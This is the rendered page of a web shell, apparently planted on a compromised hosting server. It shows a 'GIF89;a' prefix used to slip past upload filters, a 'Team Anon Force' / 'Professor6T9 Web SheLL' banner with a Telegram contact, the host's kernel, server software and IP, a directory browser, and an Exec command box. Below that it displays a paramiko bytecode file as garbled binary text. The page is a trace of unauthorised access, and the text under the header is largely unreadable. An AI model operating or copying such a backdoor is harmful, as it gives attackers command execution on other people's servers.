GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
thread-self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
paramiko
/
__pycache__
[ HOME ]
Exec
Submit
File Name : buffered_pipe.cpython-38.pyc
U rX�f9 � @ sJ d Z ddlZddlZddlZddlmZ G dd� de�ZG dd� d�ZdS )z� Attempt to generalize the "feeder" part of a `.Channel`: an object which can be read from and closed, but is reading from a buffer fed by another thread. The read operations are blocking and can have a timeout set. � N)�bc @ s e Zd ZdZdS )�PipeTimeoutzP Indicates that a timeout was reached on a read from a `.BufferedPipe`. N)�__name__� __module__�__qualname__�__doc__� r r �G/opt/alt/python38/lib/python3.8/site-packages/paramiko/buffered_pipe.pyr s r c @ sd e Zd ZdZdd� Zdd� Zddd�Zd d � Zdd� Zd d� Z ddd�Z dd� Zdd� Zdd� Z dS )�BufferedPipez� A buffer that obeys normal read (with timeout) & close semantics for a file or socket, but is fed data from another thread. This is used by `.Channel`. c C s4 t �� | _t �| j�| _d | _t�d�| _d| _d S )N�BF) � threading�Lock�_lock� Condition�_cv�_event�array�_buffer�_closed��selfr r r �__init__. s zBufferedPipe.__init__c C s | j �|� d S �N)r � frombytes�r �datar r r �_buffer_frombytes5 s zBufferedPipe._buffer_frombytesNc C s | j d |� �� S r )r �tobytes)r �limitr r r �_buffer_tobytes8 s zBufferedPipe._buffer_tobytesc C sL | j �� z0|| _| js&t| j�dkr0|�� n|�� W 5 | j �� X dS )a Set an event on this buffer. When data is ready to be read (or the buffer has been closed), the event will be set. When no data is ready, the event will be cleared. :param threading.Event event: the event to set/clear r N) r �acquire�releaser r �lenr �set�clear)r �eventr r r � set_event; s zBufferedPipe.set_eventc C sL | j �� z0| jdk r | j�� | �t|�� | j�� W 5 | j �� X dS )z� Feed new data into this pipe. This method is assumed to be called from a separate thread, so synchronization is done. :param data: the data to add, as a ``str`` or ``bytes`` N) r r r! r r# r r r � notify_allr r r r �feedR s zBufferedPipe.feedc C s: | j �� zt| j�dkr"W �dS W �dS | j �� X dS )ad Returns true if data is buffered and ready to be read from this feeder. A ``False`` result does not mean that the feeder has closed; it means you may need to wait before more data arrives. :return: ``True`` if a `read` call would immediately return at least one byte; ``False`` otherwise. r FTN�r r r! r"